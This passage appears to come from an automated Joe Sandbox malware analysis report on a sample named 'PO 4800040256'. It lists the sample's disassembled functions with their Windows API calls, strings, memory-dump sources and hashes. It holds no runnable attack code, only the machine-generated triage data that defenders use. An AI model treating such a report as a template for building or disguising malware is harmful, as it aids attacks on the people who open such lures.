                                                                                                                                                                      • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CE5A
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CurrentDirectory$AttributesFile$_wcscat$__wsplitpath_wcscpy_wcsncpy
                                                                                                                                                                      • String ID: *.*
                                                                                                                                                                      • API String ID: 1153243558-438819550
                                                                                                                                                                      • Opcode ID: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                                                                                                      • Instruction ID: 4b7f18f3392d5c51d0b0bcfc25b88d1348604f1c1aa494fd035d881d108a9fe9
                                                                                                                                                                      • Opcode Fuzzy Hash: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                                                                                                      • Instruction Fuzzy Hash: 0561E5B61043419FD731EF54C885AEBB7E4EB84305F44882FED8983242D67D998E879E
                                                                                                                                                                      Function 0045510D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 115windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 00455127
                                                                                                                                                                      • GetMenuItemInfoW.USER32 ref: 00455146
                                                                                                                                                                      • DeleteMenu.USER32(?,?,00000000), ref: 004551B2
                                                                                                                                                                      • DeleteMenu.USER32(?,?,00000000), ref: 004551C8
                                                                                                                                                                      • GetMenuItemCount.USER32(?), ref: 004551D9
                                                                                                                                                                      • SetMenu.USER32(?,00000000), ref: 004551E7
                                                                                                                                                                      • DestroyMenu.USER32(?,?,00000000), ref: 004551F4
                                                                                                                                                                      • DrawMenuBar.USER32 ref: 00455207
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                      • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Menu$Delete$Destroy$ItemObject$CountDrawIconInfoWindow_memset
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 1663942905-4108050209
                                                                                                                                                                      • Opcode ID: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                                                                                                      • Instruction ID: b4bdd7d0bd4ee66815c45afb4cba49e6688c1fb7c5fb2b704b87d0eb3faa17d4
                                                                                                                                                                      • Opcode Fuzzy Hash: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                                                                                                      • Instruction Fuzzy Hash: F4413B70600A01AFD715DF24D9A8B6B77A8BF44302F40891DFD49CB292DB78EC44CBA9
                                                                                                                                                                      Function 00415C25 Relevance: 22.7, APIs: 15, Instructions: 236COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __get_daylight__invoke_watson$__gmtime64_s$__getptd_noexit
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1481289235-0
                                                                                                                                                                      • Opcode ID: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                                                                                      • Instruction ID: 11750150b5911b8a2d77b888e51b7102539fbc40f42687a9f62e69b5342e6946
                                                                                                                                                                      • Opcode Fuzzy Hash: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                                                                                      • Instruction Fuzzy Hash: 8461B372B00B15DBD724AB69DC81AEB73E99F84324F14452FF011D7682EB78DA808B58
                                                                                                                                                                      Function 0046FB53 Relevance: 22.7, APIs: 15, Instructions: 176windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 0046FB61
                                                                                                                                                                      • ExtractIconExW.SHELL32(?,000000FF,?,?,00000001), ref: 0046FB7A
                                                                                                                                                                      • SendMessageW.USER32 ref: 0046FBAF
                                                                                                                                                                      • SendMessageW.USER32 ref: 0046FBE2
                                                                                                                                                                      • ImageList_Create.COMCTL32(00000010,00000010,00000021,?,00000001), ref: 0046FC1B
                                                                                                                                                                      • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0046FC3E
                                                                                                                                                                      • ImageList_Create.COMCTL32(00000020,00000020,00000021,?,00000001), ref: 0046FC51
                                                                                                                                                                      • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 0046FC73
                                                                                                                                                                      • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FC97
                                                                                                                                                                      • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FCA5
                                                                                                                                                                      • SendMessageW.USER32 ref: 0046FD00
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$IconImageList_$CreateExtractReplace
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2632138820-0
                                                                                                                                                                      • Opcode ID: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                                                                                                      • Instruction ID: f8b2170a3f6480226351c2682443129a31dd3945ebd2779c8b18a40e734619f9
                                                                                                                                                                      • Opcode Fuzzy Hash: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                                                                                                      • Instruction Fuzzy Hash: A461BF70208305AFD320DF14DC85F5BB7E4FB89B14F10492EFA85972D1E7B4A8498B66
                                                                                                                                                                      Function 00433BAC Relevance: 22.6, APIs: 15, Instructions: 79COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F89), ref: 00433BC7
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F8A), ref: 00433BDE
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F03), ref: 00433BF5
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F8B), ref: 00433C0C
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F01), ref: 00433C23
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F88), ref: 00433C3A
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F86), ref: 00433C51
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F83), ref: 00433C68
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F85), ref: 00433C7F
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F82), ref: 00433C96
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F84), ref: 00433CAD
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F04), ref: 00433CC4
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F02), ref: 00433CDB
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00000000), ref: 00433CEF
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F00), ref: 00433D06
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CursorLoad
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3238433803-0
                                                                                                                                                                      • Opcode ID: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                                                                                      • Instruction ID: acd63d7325575073817552101614e6badc0a76bef24473f745c9da0ba21645f6
                                                                                                                                                                      • Opcode Fuzzy Hash: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                                                                                      • Instruction Fuzzy Hash: 6D310E3058C302FFE7504F50EE0AB1C36A0BB48B47F008C7DF64AA62E0E6F055009B9A
                                                                                                                                                                      Function 00460ABB Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 294windowtimeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetClassNameW.USER32(?,?,00000100), ref: 00460AF5
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00460B00
                                                                                                                                                                      • __swprintf.LIBCMT ref: 00460B9E
                                                                                                                                                                      • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00460C11
                                                                                                                                                                      • GetClassNameW.USER32(?,?,00000400), ref: 00460C8E
                                                                                                                                                                      • GetDlgCtrlID.USER32(?), ref: 00460CE6
                                                                                                                                                                      • GetWindowRect.USER32(?,?), ref: 00460D21
                                                                                                                                                                      • GetParent.USER32(?), ref: 00460D40
                                                                                                                                                                      • ScreenToClient.USER32(00000000), ref: 00460D47
                                                                                                                                                                      • GetClassNameW.USER32(?,?,00000100), ref: 00460DBE
                                                                                                                                                                      • GetWindowTextW.USER32(?,?,00000400), ref: 00460DFB
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_wcslen
                                                                                                                                                                      • String ID: %s%u
                                                                                                                                                                      • API String ID: 1899580136-679674701
                                                                                                                                                                      • Opcode ID: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                                                                                                      • Instruction ID: ed0b46c26cbb3f928a943cd91895a09858176ee0e89b0f6962e21683ef9d2041
                                                                                                                                                                      • Opcode Fuzzy Hash: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                                                                                                      • Instruction Fuzzy Hash: 3AA1CD722043019BDB14DF54C884BEB73A8FF84714F04892EFD889B245E778E946CBA6
                                                                                                                                                                      Function 0047D5F6 Relevance: 21.2, APIs: 4, Strings: 8, Instructions: 210COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CoTaskMemFree.OLE32(?), ref: 0047D6D3
                                                                                                                                                                        • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                      • StringFromCLSID.OLE32(?,?), ref: 0047D6B5
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                      • StringFromIID.OLE32(?,?), ref: 0047D7F0
                                                                                                                                                                      • CoTaskMemFree.OLE32(?), ref: 0047D80A
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FreeFromStringTask_wcslen$_wcscpy
                                                                                                                                                                      • String ID: 0vH$CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32$HH
                                                                                                                                                                      • API String ID: 2485709727-934586222
                                                                                                                                                                      • Opcode ID: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                                                                                                      • Instruction ID: 9b1d76abf7044590dd80f2c514dab21f357569e7696d0ed80310904c07b122bf
                                                                                                                                                                      • Opcode Fuzzy Hash: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                                                                                                      • Instruction Fuzzy Hash: 63714BB5614201AFC304EF25C981D5BB3F8BF88704F108A2EF5599B351DB78E905CB6A
                                                                                                                                                                      Function 0045DB3E Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 181COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcscpy$Folder_memset$BrowseDesktopFromInitializeListMallocPathUninitialize
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 3381189665-2761332787
                                                                                                                                                                      • Opcode ID: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                                                                                                      • Instruction ID: 9856a5a3be2a6f4b6f15ab218c20ab076772672eb14c4daba281b2e598c2a196
                                                                                                                                                                      • Opcode Fuzzy Hash: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                                                                                                      • Instruction Fuzzy Hash: E1619AB59043009FC320EF65C88499BB7E9BFC8704F048E1EF98987252D775E849CB6A
                                                                                                                                                                      Function 00434506 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetDC.USER32(00000000), ref: 00434585
                                                                                                                                                                      • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00434590
                                                                                                                                                                      • CreateCompatibleDC.GDI32(00000000), ref: 0043459B
                                                                                                                                                                      • SelectObject.GDI32(00000000,?), ref: 004345A9
                                                                                                                                                                      • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00434618
                                                                                                                                                                      • GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00434665
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CompatibleCreate$BitmapBitsObjectSelectStretch
                                                                                                                                                                      • String ID: (
                                                                                                                                                                      • API String ID: 3300687185-3887548279
                                                                                                                                                                      • Opcode ID: a49f41e91dac5baa2c50b775dc8de30f0d01d64d4146e99f951c4697ae3d27a6
                                                                                                                                                                      • Instruction ID: a007e7ec8c3f390601fcb6226b5fc218b62818acb39bbc9fe8cd9ddeb27b86ed
                                                                                                                                                                      • Opcode Fuzzy Hash: a49f41e91dac5baa2c50b775dc8de30f0d01d64d4146e99f951c4697ae3d27a6
                                                                                                                                                                      • Instruction Fuzzy Hash: E4514871508345AFD310CF69C884B6BBBE9EF8A310F14881DFA9687390D7B5E844CB66
                                                                                                                                                                      Function 0045E41B Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 150COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E463
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E480
                                                                                                                                                                      • __swprintf.LIBCMT ref: 0045E4D9
                                                                                                                                                                      • _printf.LIBCMT ref: 0045E595
                                                                                                                                                                      • _printf.LIBCMT ref: 0045E5B7
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                                                                                      • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR $HH
                                                                                                                                                                      • API String ID: 3590180749-2894483878
                                                                                                                                                                      • Opcode ID: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                                                                                                      • Instruction ID: 42a5c2f6345f2e10047da6565a111f96cfad8617a22bea28fc44504b1d19b7ce
                                                                                                                                                                      • Opcode Fuzzy Hash: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                                                                                                      • Instruction Fuzzy Hash: 9F51A171518345ABD324EF91CC41DAF77A8AF84754F04093FF94463292EB78EE488B6A
                                                                                                                                                                      Function 0046F90E Relevance: 21.1, APIs: 14, Instructions: 147windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 0046F911
                                                                                                                                                                      • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 0046F929
                                                                                                                                                                      • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 0046F942
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0046F950
                                                                                                                                                                      • DestroyIcon.USER32(?,?,000000F7,00000000,00000000,?,00000000,00000000,00000000,00002010,?,000000F0), ref: 0046F95E
                                                                                                                                                                      • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9A8
                                                                                                                                                                      • SendMessageW.USER32(?,000000F7,00000001,00000000), ref: 0046F9C1
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0046F9CF
                                                                                                                                                                      • DestroyIcon.USER32(?,?,000000F7,00000001,00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9DD
                                                                                                                                                                      • ExtractIconExW.SHELL32(?,?,?,000000FF,00000001), ref: 0046FA1D
                                                                                                                                                                      • DestroyIcon.USER32(?), ref: 0046FA4F
                                                                                                                                                                      • SendMessageW.USER32(?,000000F7,00000001,?), ref: 0046FA5A
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0046FA68
                                                                                                                                                                      • DestroyIcon.USER32(?,?,000000F7,00000001,?), ref: 0046FA76
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Icon$Destroy$DeleteMessageObjectSend$ImageLoad$ExtractLongWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3412594756-0
                                                                                                                                                                      • Opcode ID: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                                                                                                      • Instruction ID: 2b127e2e725f503062080ad48664a75956f0b49bd2ac624c91da1236fc619d99
                                                                                                                                                                      • Opcode Fuzzy Hash: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                                                                                                      • Instruction Fuzzy Hash: BD41B575344301ABE7209B65ED45B6B7398EB44711F00083EFA85A7381DBB9E809C76A
                                                                                                                                                                      Function 0045D971 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 140COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                                                                                        • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                      • GetDriveTypeW.KERNEL32 ref: 0045DA30
                                                                                                                                                                      • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DA76
                                                                                                                                                                      • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DAAB
                                                                                                                                                                      • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DADF
                                                                                                                                                                        • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
